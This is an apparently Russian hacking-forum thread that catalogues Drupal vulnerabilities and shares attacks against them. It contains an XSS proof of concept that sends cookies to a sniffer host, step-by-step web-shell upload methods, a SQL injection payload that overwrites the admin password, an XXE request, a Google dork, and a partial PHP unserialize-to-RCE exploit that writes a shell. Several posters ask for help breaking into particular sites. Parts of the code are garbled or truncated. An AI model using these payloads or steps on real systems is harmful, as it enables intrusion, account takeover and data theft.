Просмотр полной версии : [ Обзор Уязвимостей .:Drupal :. ]
Cawabunga
23.02.2008, 01:01
Обзор уязвимостей Drupal
Drupal < 4.7.6 (post comments) Remote Command Execution Exploit v2 (http://www.milw0rm.com/exploits/3313)
Drupal < 5.1 (post comments) Remote Command Execution Exploit v2 (http://www.milw0rm.com/exploits/3312)
Drupal Cross-Site Request Forgery Vulnerability (Vulnerabilities) (http://www.securityfocus.com/bid/25099)
Drupal Prior To 4.7.11 and 5.6 Multiple Remote Vulnerabilities (Vulnerabilities) (http://www.securityfocus.com/bid/27238)
Drupal Prior To 4.7.8 and 5.3 Multiple Remote Vulnerabilities (Vulnerabilities) (http://www.securityfocus.com/bid/26119)
Drupal <= 5.2 PHP Zend Hash Vulnerability Exploitation Vector (http://www.milw0rm.com/exploits/4510)
Drupal Content Construction Kit Nodereference Module Multiple HTML-injection Vulnerabilities (Vulnerabilities) (http://www.securityfocus.com/bid/25321)
[Injection]
Drupal Database Administration Module Multiple HTML-injection Vulnerabilities (Vulnerabilities) (http://www.securityfocus.com/bid/23440)
Drupal Database Administration Module Multiple HTML-injection Vulnerabilities (Vulnerabilities) (http://www.securityfocus.com/bid/23440)
узнаем версию
http://path/CHANGELOG.txt
отсортировано по убыванию по дате
===================
HIGH
Drupal Meta Tags Module command execution (http://www.securitylab.ru/vulnerability/311954.php)
Обход ограничений безопасности в Drupal (http://www.securitylab.ru/vulnerability/350743.php)
Удаленный пользователь может изменить данные профиля других пользователей.
Drupal Site_Documentation_Module CVE-2008-2271 (http://en.securitylab.ru/nvd/353170.php)
Drupal Comment Upload Module (http://www.securitylab.ru/vulnerability/312521.php)
===================
SQL-inj
SQL-инъекция в Drupal (http://www.securitylab.ru/vulnerability/309460.php)
SQL-инъекция в vbDrupal (http://www.securitylab.ru/vulnerability/309467.php)
SQL-инъекция в Drupal Acidfree Module (http://www.securitylab.ru/vulnerability/289907.php)
SQL-инъекция в Drupal Extended Tracker (http://www.securitylab.ru/vulnerability/276140.php)
SQL-инъекция в Drupal Easylinks (http://www.securitylab.ru/vulnerability/272403.php)
SQL-инъекция в Drupal Bibliography (http://www.securitylab.ru/vulnerability/272058.php)
SQL-инъекция в Drupal Jobsearch (http://www.securitylab.ru/vulnerability/271837.php)
SQL-инъекция и раскрытии е данных в Drupal (http://www.securitylab.ru/vulnerability/268074.php)
===================
Multy
Множественные уязвимости в vbDrupal (http://www.securitylab.ru/vulnerability/311956.php)
Множественные уязвимости в Drupal (http://www.securitylab.ru/vulnerability/311864.php)
Множественные уязвимости в Drupal (http://www.securitylab.ru/vulnerability/305907.php)
Множественные уязвимости в Drupal (http://www.securitylab.ru/vulnerability/305906.php)
Множественные уязвимости в Drupal (http://www.securitylab.ru/vulnerability/275763.php)
Несколько уязвимостей в Drupal (http://www.securitylab.ru/vulnerability/305905.php)
Несколько уязвимостей в Drupal Help Tip (http://www.securitylab.ru/vulnerability/282576.php)
Несколько уязвимостей в Drupal IMCE (http://www.securitylab.ru/vulnerability/275020.php)
===================
CSRF
CSRF атака в Drupal Userpoints Module (http://www.securitylab.ru/vulnerability/312522.php)
CSRF атака в Drupal BUEditor Module (http://www.securitylab.ru/vulnerability/311863.php)
===================
XSS
XSS Drupal Internationalization and Localizer (http://www.securitylab.ru/vulnerability/351988.php)
XSS Drupal E-Publish Module (http://www.securitylab.ru/vulnerability/351985.php)
XSS Drupal Ubercart Module (http://www.securitylab.ru/vulnerability/351978.php)
XSS Drupal Webform Module (http://www.securitylab.ru/vulnerability/349633.php)
XSS Drupal Flickr Module (http://www.securitylab.ru/vulnerability/349603.php)
XSS Multiple Time Sheets (http://www.securitylab.ru/vulnerability/348653.php)
XSS Drupal (http://www.securitylab.ru/vulnerability/347715.php)
XSS Drupal Workflow Module (http://www.securitylab.ru/vulnerability/312232.php)
XSS Drupal Archive Module (http://www.securitylab.ru/vulnerability/312231.php)
XSS Drupal Shoutbox Module (http://www.securitylab.ru/vulnerability/309468.php)
XSS Drupal Token (http://www.securitylab.ru/vulnerability/305949.php)
XSS Drupal Web Links (http://www.securitylab.ru/vulnerability/305812.php)
XSS Drupal Project Issue Tracking Module (http://www.securitylab.ru/vulnerability/304101.php)
XSS Drupal (http://www.securitylab.ru/vulnerability/300276.php)
XSS Drupal LoginToboggan Module (http://www.securitylab.ru/vulnerability/299453.php)
XSS Drupal Project Module (http://www.securitylab.ru/vulnerability/290358.php)
XSS Drupal MySite Module (http://www.securitylab.ru/vulnerability/283182.php)
XSS Drupal Site Profile Directory (http://www.securitylab.ru/vulnerability/274340.php)
XSS Drupal Search Keywords (http://www.securitylab.ru/vulnerability/274292.php)
XSS Drupal Pathauto (http://www.securitylab.ru/vulnerability/273522.php)
XSS Drupal E-commerce (http://www.securitylab.ru/vulnerability/272404.php)
XSS Drupal Easylinks (http://www.securitylab.ru/vulnerability/272403.php)
XSS Drupal Bibliography (http://www.securitylab.ru/vulnerability/272058.php)
XSS Drupal Recipe Module (http://www.securitylab.ru/vulnerability/271914.php)
XSS Drupal (http://www.securitylab.ru/vulnerability/271599.php)
XSS Drupal webform Module (http://www.securitylab.ru/vulnerability/270508.php)
XSS Drupal (http://www.securitylab.ru/vulnerability/268708.php)
XSS Drupal (http://www.securitylab.ru/vulnerability/267140.php)
===================
Module
Drupal Simple Access Module (http://www.securitylab.ru/vulnerability/350745.php)
Drupal Header Image Module (http://www.securitylab.ru/vulnerability/313274.php)
Уязвимость позволяеть получить доступ к административной части приложения.
Drupal Secure Site Module (http://www.securitylab.ru/vulnerability/312524.php)
Злоумышленник, использующий тот же прокси сервер, что и целевой пользователь, может получить доступ с привилегиями целевого пользователя.
Drupal OpenID Module (http://www.securitylab.ru/vulnerability/312517.php)
Злоумышленник может установить злонамеренный OpenID провайдер и произвести спуфинг атаку.
Drupal Forward Module (http://www.securitylab.ru/vulnerability/299326.php)
Удаленный пользователь может с помощью специально сформированного URL получить доступ к запрещенным сообщениям в приложении.
Drupal Print Module (http://www.securitylab.ru/vulnerability/299263.php)
Удаленный пользователь может с помощью специально сформированного URL получить доступ к запрещенным сообщениям.
Drupal Project Issue Tracking Module (http://www.securitylab.ru/vulnerability/292488.php)
Уязвимость заключается в том, что авторизованный пользователь может просмотреть сообщения, даже если они помечены как частные.
Drupal Nodefamily Module (http://www.securitylab.ru/vulnerability/292476.php)
Уязвимость позволяет удаленному пользователю просмотреть и изменить данные в профиле пользователей путем изменения некоторых аргументов в URL.
Drupal Textimage Module (http://www.securitylab.ru/vulnerability/290497.php)
Удаленный пользователь может обойти защиту captcha путем изменения некоторых переменных в запросе.
Drupal Captcha Module (http://www.securitylab.ru/vulnerability/290428.php)
Удаленный пользователь может с помощью специально сформированного запроса обойти проверку captcha.
Drupal Pubcookie Module (http://www.securitylab.ru/vulnerability/273631.php)
Уязвимость существует из-за недостаточной проверки данных в файле pubcookie.module. Удаленный пользователь может обойти процесс аутентификации.
Drupal Form_mail Module (http://www.securitylab.ru/vulnerability/270065.php)
Удаленный пользователь может с помощью символа новой строки внедрить произвольные заголовки в email сообщение.
вот так версию узнать можно:
Смотрим файл: http://www.site.ru/modules/system/system.module ... Там есть строчка:
define('VERSION', 'ТУТ ВЕРСИЯ');
Если строчки нет, то версия ниже 4.7.0
Дополню пост:
в некоторых модулях написана версия, к примеру:
site.ru/modules/aggregator/aggregator.info там прямо смотрим строчку version и всё.
З.Ы. почему бы не прикрепить тему, тоже нужная вещь
PoC:
<HTML>
<TITLE>Drupal reflected XSS by ettee(itdefence.ru)</TITLE><!--
Full HTML =on
"">><<script>img = new Image(); img.src = "http://sniffer/image/s.gif?"+document.cookie;</script>
--><BODY onload="p.submit()">
<form action="http://freelanguage.org/comment/reply/532/1263"<!--target--
> method="post" id="p">
<input type=hidden name="subject" value="aaaaaaaaaaaaaaaaaaaaa">
<input type=hidden name="comment" value='"">><<script>alert(document.
cookie)</script>'>
<input type=hidden name="format" value="3">
<input type=hidden name="form_id" value="comment_form">
<input type=hidden name="op" value='Preview comment'>
</form>
</BODY>
</HTML>
Google dork: powered by "drupal"; intitle:"powered by drupal"
Pashkela
14.12.2009, 16:21
Drupal 6.14 - заливка шелла из админпанели
1) Administer->Site building->Активируем Upload "Allows users to upload and attach files to content" (по умолчанию выключено)->Save configuration
2) Administer->Site configuration->File uploads->Добавляем расширение php3 в список разрешенных
3) Create content->Page->создаем и сохраняем страницу (снимаем галочку с Published)
4) Administer->Content management->Edit только что созданную страницу->File attachments->Загружаем шелл с расширением .php3 (если просто .php - в конец автоматически добавляется .txt)
5) http://drupal.ru/sites/default/files/shell.php3 - шелл
6) Administer->Content management->Удаляем страницу
мои 5 копеек, по файлу robots.txt можно определить версию движка, там есть такая строчка
# $Id: robots.txt,v 1.9.2.1 2008/12/10 20:12:19 goba Exp $
ещё один способ загрузки шела:
Site configuration - IMCE settings выбераем категорию пользователей - в графе Non-image file support: добавляем .php
Затем идем сюда Profile - Personal files грузим шелл и он загрузиться в папку files/папка_пользователя/шелл.пхп
Drupal 7.0 Shell Execution Script
#!/usr/bin/env php
* ================
* (+) In any Drupal , detecting the file >> http://[local/Path]/scripts/drupal.sh
* The content file 'drupal.sh' is this PH P CODE for EXECUTING Scripts
* ================
* ------------------------
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with :
* #!c:/program files/php/php.exe
* @param path Drupal's absolute root dir ectory in local file system (optional).
* @param URI A URI to execute, includ ing HTTP protocol prefix.
*/
$script=basename(array_shift($_SERVER['argv']));
if (in_array('--help',$_SERVER['argv']) || empty($_SERVER['argv'])) {
echo "
Example:{$script}"http://target.org/node"
All arguments are long options.
--help This page.
--root Set the working directory for the script to the specified path.
To execute Drupal t his has to be the root directory of your
Drupal installation, f.e. /home/www/foo/drupal (assuming Drupal
running on Unix). C urrent directory is not required.
Use surrounding quot ation marks on Windows.
--verbose This option displays the options as they are set, but will
produce errors from setting the session.
URI The URI to execute, i .e. http://default/foo/bar for executing
the path '/foo/bar' in your site 'default'. URI has to be
enclosed by quotatio n marks if there are ampersands in it
(f.e. index.php?q=nod e&foo=bar). Prefix 'http://' is required,
and the domain must exist in Drupal's sites-directory.
If the given path and file exists it will be executed directl y,
i.e. if URI is set to http://default/bar/foo.php
and bar/foo.php exists, this script will be executed without
bootstrapping Drupal. To execute Drupal's cron.php, specify
http://default/cron.php as the URI.
To run this script without --root argument invoke it from the root direc tory
of your Drupal installation with
./scripts/{$script}
n
EOF;
exit;
}
// define default settings
$cmd='index.php';
$_SERVER['HTTP_HOST'] ='default';
$_SERVER['PHP_SELF'] ='/index.php';
$_SERVER['REMOTE_ADDR'] ='127.0.0.1';
$_SERVER['SERVER_SOFTWARE'] =NULL;
$_SERVER['REQUEST_METHOD'] ='GET';
$_SERVER['QUERY_STRING'] ='';
$_SERVER['PHP_SELF'] =$_SERVER['REQUEST_URI'] ='/';
$_SERVER['HTTP_USER_AGENT'] ='console';
// toggle verbose mode
if (in_array('--verbose',$_SERVER['argv'])) {
$_verbose_mode=true;
}
else {
$_verbose_mode=false;
}
// parse invocation arguments
while ($param=array_shift($_SERVER['argv'])) {
switch ($param) {
case'--root':
// change working directory
$path=array_shift($_SERVER['argv']);
if (is_dir($path)) {
chdir($path);
if ($_verbose_mode) {
echo"cwd changed to:{$path}n";
}
}
else {
echo"nERROR:{$path}not found.nn";
}
break;
default:
if (substr($param,0,2) =='--') {
// ignore unknown options
break;
}
else {
// parse the URI
$path=parse_url($param);
// set site name
if (isset($path['host'])) {
$_SERVER['HTTP_HOST'] =$path['host'];
}
// set query string
if (isset($path['query'])) {
$_SERVER['QUERY_STRING'] =$path['query'];
parse_str($path['query'],$_GET);
$_REQUEST=$_GET;
}
// set file to execute or Drupal path (clean urls enabled)
if (isset($path['path']) &&file_exists(substr($path['path'],1))) {
$_SERVER['PHP_SELF'] =$_SERVER['REQUEST_URI'] =$path['path'];
$cmd=substr($path['path'],1);
}
elseif (isset($path['path'])) {
if (!isset($_GET['q'])) {
$_REQUEST['q'] =$_GET['q'] =$path['path'];
}
}
// display setup in verbose mode
if ($_verbose_mode) {
echo"Hostname set to:{$_SERVER['HTTP_HOST']}n";
echo"Script name set to:{$cmd}n";
echo"Path set to:{$_GET['q']}n";
}
}
break;
}
}
if (file_exists($cmd)) {
include$cmd;
}
else {
echo"nERROR:{$cmd}not found.nn";
}
exit();
/***=============================================== =============================================
***================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================
* Greets To : [D] HaCkerS-StreeT-Team [Z]
* Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz
* Masimovic * TOnyXED * r0073r (inj3ct0r.com ) * TreX (hotturks.org) * KelvinX (kelvinx.n et) * Dos-Dz
* Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (1923turk. com)
* Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
* Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX
* Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
* 1337day.com * www.packetstormsecurity.org * exploit-db.com * bugsearch.net * exploit-id.com
* www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...
*================================================= ===============================================
*/
4символа
mr.Penguin
27.03.2012, 01:10
Drupal 5.x, возможно более ранние версии.
Уязвим параметр profile_big, field_location[0][city].
POST:
www.site.ru/user/ID_пользователя/edit/О себе?form_build_id=&form_token=&form_id=&profile_=test&profile_big=alert('XSS by mr.Penguin')&op=Сохранить
Далее нажмите на "Просмотр" и активная XSS выполнится
Скриншоты:
http://s019.radikal.ru/i628/1203/0b/baae855e8a70t.jpg (http://radikal.ru/F/s019.radikal.ru/i628/1203/0b/baae855e8a70.png.html) http://s019.radikal.ru/i600/1203/d4/cff18d1d4188t.jpg (http://radikal.ru/F/s019.radikal.ru/i600/1203/d4/cff18d1d4188.jpg.html)
Ice_Burn
14.05.2012, 16:02
Drupal 0-day Отказ в обслуживании
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1/' \ __ /'__`\ /\ \__ /'__`\0
0/\_, \___/\_\/\_\ \ \___\ \ ,_\/\ \/\ \_ ___ 1
1\/_/\ \ /' _ `\ \/\ \/_/_\_> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ################### ###################### 1
0 I'm Angel Injecti on member from Inj3ct0r Team 1
1 ################### ###################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] title: Drupal 0-day Denial Of Service
[-] author: Angel Injection
[-] Security -::RISK: high
---------perl code----------------
#!/usr/bin/perl
use Socket;
if (@ARGV \n";
print "\tex: $0 127.0.0.1 /Drupal/\n";
print "\tex2: $0 127.0.0.1 /\n\n";
exit();
};
# 1337day.com [2012-05-05]
Линк: 1337day.com/exploits/18201
А как работать с этим скриптом и какой принцип его действия? Будьте так добры, поясните, пожалуйста. Интерпретатор стоит, запуск из командной строки, так? В нем что-то нужно дописывать?
А как работать с этим скриптом и какой принцип его действия? Будьте так добры, поясните, пожалуйста. Интерпретатор стоит, запуск из командной строки, так? В нем что-то нужно дописывать?
Denial of Service. Убивает сайт.
есть ли какая нибудь уязвимость в версии 6.24?
MrCepbIu
13.09.2012, 18:38
/showpost.php?p=3020365&postcount=8
не понял, что он делает? как работает? и ещё не запускается
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
#!/usr/bin/php
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 19456 bytes) in /tmp/index.php on line 80
и попутный вопрос, нет ни чего на 6.22?
какие способы есть заливки шелла?
ReV0LVeR
19.11.2012, 13:38
а в чем проблема? редактор страниц потдерживает php.
tripwired
20.11.2012, 22:13
надо попробовать
http://www.freeimagehost.info/files/img/display/imagedisplay_oe9qdkxgnlk.gif.php
ZeR0ChanNeL
09.02.2013, 17:22
drupal 7.15,раскрытие путей
http://site.com/modules/simpletest/tests/upgrade/drupal-7.field.database.php
justonline
13.05.2013, 22:18
Что в бд drupal 6,28 отвечает за ретрив пароля? Пишется там куда-нибудь хеш или как? Движок пока скачать не могу(
drupal 7.15,раскрытие путей
Drupal 7.22 тоже работает, похоже на всю 7 ветку действует.
подскажите как залить шелл в вот эту версию Drupal 6.22
доступ админки есть
стандартные способы не помогли
CVE-2014-3704 Drupal 7.0 – 7.31 pre-auth SQL Injection Vulnerability
lol
https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
SektionEins GmbH
www.sektioneins.de
-= Security Advisory =-
Advisory: Drupal - pre-auth SQL Injection Vulnerability
Release Date: 2014/10/15
Last Modified: 2014/10/15
Author: Stefan Horst [stefan.horst[at]sektioneins.de]
Application: Drupal >= 7.0 $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}
// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
The function assumes that it is called with an array which has no keys. Example:
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
Which results in this SQL Statement
SELECT * from users where name IN (:name_0, :name_1)
with the parameters name_0 = user1 and name_1 = user2.
The Problem occurs, if the array has keys, which are no integers. Example:
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
this results in an exploitable SQL query:
SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
with parameters :name_test = user2.
Since Drupal uses PDO, multi-queries are allowed. So this SQL Injection can
be used to insert arbitrary data in the database, dump or modify existing data
or drop the whole database.
With the possibility to INSERT arbitrary data into the database an
attacker can execute any PHP code through Drupal features with callbacks.
Patch:
$new_keys = array();
foreach (array_values($data) as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}
Proof of Concept:
SektionEins GmbH has developed a proof of concept, but was asked by
Drupal to postpone the release.
Disclosure Timeline:
16. Sep. 2014 - Notified the Drupal devs via security contact form
15. Okt. 2014 - Relase of Bugfix by Drupal core Developers
poc:
name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$ S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
и работает ведь
вперед хэкеры
exploit:
http://pastebin.com/nDwLFV3v
video: http://www.youtube.com/watch?v=rHwJYD_yTlM
Drupal 7.34 Admin PHP Object Injection
https://websec.wordpress.com/2015/01/09/drupal-7-34-admin-php-object-injection/
Open redirect и обход авторизации. В плане эксплуатации имеются серьезные ограничения.
https://www.drupal.org/SA-CORE-2015-001
Байпас (modules/user/user.module)
До
functionuser_pass_rehash($password,$timestamp,$log in) {
returnmd5($timestamp.$password.$login);
}
После
functionuser_pass_rehash($password,$timestamp,$log in,$uid) {
// Backwards compatibility: Try to determine a $uid if one was not passed.
// (Since $uid is a required parameter to th is function, a PHP warning will
// be generated if it's not provided, which is an indication that the calling
// code should be updated. But the code belo w will try to generate a correct
// hash in the meantime.)
if (!isset($uid)) {
$uids= array();
$result=db_query_range("SELECT uid FROM {users} WHERE pass = '%s' AND login = '%s' AND uid > 0",$password,$login,0,2);
while ($row=db_fetch_array($result)) {
$uids[] =$row['uid'];
}
// If exactly one user account matches the p rovided password and login
// timestamp, proceed with that $uid.
if (count($uids) ==1) {
$uid=reset($uids);
}
// Otherwise there is no safe hash to return , so return a random string
// that will never be treated as a valid to ken.
else {
returndrupal_random_key();
}
}
returndrupal_hmac_base64($timestamp.$login.$ui d,drupal_get_private_key() .$password);
}
ORed (includes/bootstrap.inc)
// Sanitize the destination parameter (which i s often used for redirects)
// to prevent open redirect attacks leading t o other domains. Sanitize
// both $_GET['destination'] and $_REQUEST['destination'] to protect code
// that relies on either, but do not sanitiz e $_POST to avoid interfering
// with unrelated form submissions. $_REQUEST['edit']['destination'] is
// also sanitized since drupal_goto() will som etimes rely on it, and
// other code might therefore use it too. Th e sanitization happens here
// because menu_path_is_external() requires the variable system to be
// available.
if (isset($_GET['destination']) || isset($_REQUEST['destination']) || isset($_REQUEST['edit']['destination'])) {
require_once'./includes/menu.inc';
drupal_load('module','filter');
// If the destination is an external URL, re move it.
if (isset($_GET['destination']) &&menu_path_is_external($_GET['destination'])) {
unset($_GET['destination']);
unset($_REQUEST['destination']);
}
// If there's still something in $_REQUEST['destination'] that didn't
// come from $_GET, check it too.
if (isset($_REQUEST['destination']) && (!isset($_GET['destination']) ||$_REQUEST['destination'] !=$_GET['destination']) &&menu_path_is_external($_REQUEST['destination'])) {
unset($_REQUEST['destination']);
}
// Check $_REQUEST['edit']['destination'] separately.
if (isset($_REQUEST['edit']['destination']) &&menu_path_is_external($_REQUEST['edit']['destination'])) {
unset($_REQUEST['edit']['destination']);
}
}
Pre-auth XXE in Drupal Services module, neat tricks to bypass restrictions inside
Подробное описание (PDF): http://www.synacktiv.fr/ressources/synacktiv_drupal_xxe_services.pdf
POST /drupal7.28/?q=test/node HTTP/1.1
[...]
%evil;
]>
test
ДОРК: "inurl:sites/all/modules/services/servers/rest_server/"
Кто подскажет насчет 7,37 версии? может у когото есть сплоит?
6.36 есть чем ковырнуть ?
Всем привет
drupal 6.20. Аккаунт с правами администратора
Стандартные способы заливки шелла не помогают Кто что ещё подскажет?Что пробовала
1) В модулях включила PHP filter
2) По site/admin/settings/filters/ => Access denied You are not authorized to access this page.
А значит, уже не получится включить формат php, и соответственно при добавлении блоков или страниц нельзя выбрать формат php... Этот способ облом
3) Темы загружать не могу
4) есть imce. Загружаю php => переименовывается в php_.txt. Загружаю .php3 => скачивается
Загружаю .shtml - нормально открывается, но видна только html'ная часть, php код не исполняется, всё интерпретируется как html.
5) пыталась загрузить опять же через imce .htaccess чтобы не скачивались файлы php3. Но облом, переименовывается в htaccess.
В общем, не знаю, что ещё делать
Кто что подскажет?
Alexsize
09.03.2017, 22:24
DRUPAL 7.X SERVICES MODULE UNSERIALIZE() TO RCE
Уязвимость
Одной из особенностей модуля является то, что можно управлять форматом ввода / вывода, изменяя заголовки Content-Type / Accept. По умолчанию разрешены следующие форматы ввода:
Application / xml
Application / json
Multipart / form-data
Application / vnd.php.serialized
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 14:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKS f0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json
{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
Exploit:
#!/usr/bin/php
'dixuSOspsOUU.php',
'data'=>''
];
$browser= newBrowser($url.$endpoint_path);
# Stage 1: SQL Injection
classDatabaseCondition
{
protected$conditions= [
"#conjunction"=>"AND"
];
protected$arguments= [];
protected$changed=false;
protected$queryPlaceholderIdentifier=null;
public$stringVersion=null;
public function__construct($stringVersion =null)
{
$this->stringVersion=$stringVersion;
if(!isset($stringVersion))
{
$this->changed=true;
$this->stringVersion=null;
}
}
}
classSelectQueryExtender{
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is cont rolled by us.
protected$query=null;
protected$uniqueIdentifier=QID;
protected$connection;
protected$placeholder=0;
public function__construct($sql)
{
$this->query= newDatabaseCondition($sql);
}
}
$cache_id="services:$endpoint:resources";
$sql_cache="SELECT data FROM {cache} WHERE cid='$cache_id '";
$password_hash='$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1x ueKznB8vWrMsnV/nrTpnd';
# Take first user but with a custom passwo rd
# Store the original password hash in signa ture_format, and endpoint cache
# in signature
$query=
"0x3a) UNION SELECT ux.uid AS uid, ".
"ux.name AS name, '$password_hash' AS pass, ".
"ux.mail AS mail, ux.theme AS theme, ($sql_ca che) AS signature, ".
"ux.pass AS signature_format, ux.created AS cr eated, ".
"ux.access AS access, ux.login AS login, ux.s tatus AS status, ".
"ux.timezone AS timezone, ux.language AS langu age, ux.picture ".
"AS picture, ux.init AS init, ux.data AS dat a FROM {users} ux ".
"WHERE ux.uid<>(0"
;
$query= newSelectQueryExtender($query);
$data= ['username'=>$query,'password'=>'ouvreboite'];
$data=serialize($data);
$json=$browser->post(TYPE_PHP,$data);
# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}
# Store session and user data
$session= [
'session_name'=>$json->session_name,
'session_id'=>$json->sessid,
'token'=>$json->token
];
store('session',$session);
$user=$json->user;
# Unserialize the cached value
# Note: Drupal websites admins, this is you r opportunity to fight back :)
$cache=unserialize($user->signature);
# Reassign fields
$user->pass=$user->signature_format;
unset($user->signature);
unset($user->signature_format);
store('user',$user);
if($cache===false)
{
e("Unable to obtains endpoint's cache value");
}
x("Cache contains ".sizeof($cache) ." entries");
# Stage 2: Change endpoint's behaviour to w rite a shell
classDrupalCacheArray
{
# Cache ID
protected$cid="services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject i n DrupalDatabaseCache::getMultiple()
protected$bin='cache';
protected$keysToPersist= [];
protected$storage= [];
function__construct($storage,$endpoint,$co ntroller,$action) {
$settings= [
'services'=> ['resource_api_version'=>'1.0']
];
$this->cid="services:$endpoint:resources";
# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help'=>'Writes data to a file',
# Callback function
'callback'=>'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just g o for a tautology
'access callback'=>'is_string',
'access arguments'=> ['a string'],
# Arguments given through POST
'args'=> [
0=> [
'name'=>'filename',
'type'=>'string',
'description'=>'Path to the file',
'source'=> ['data'=>'filename'],
'optional'=>false,
],
1=> [
'name'=>'data',
'type'=>'string',
'description'=>'The data to write',
'source'=> ['data'=>'data'],
'optional'=>false,
],
],
'file'=> [
'type'=>'inc',
'module'=>'services',
'name'=>'resources/user_resource',
],
'endpoint'=>$settings
];
$storage[$controller]['endpoint']['actions'] += [
$action=> [
'enabled'=>1,
'settings'=>$settings
]
];
}
$this->storage=$storage;
$this->keysToPersist=array_fill_keys(array_keys($storage) ,true);
}
}
classThemeRegistryExtendsDrupalCacheArray{
protected$persistable;
protected$completeRegistry;
}
cache_poison($endpoint,$cache);
# Write the file
$json= (array)$browser->post(TYPE_JSON,json_encode($file));
# Stage 3: Restore endpoint's behaviour
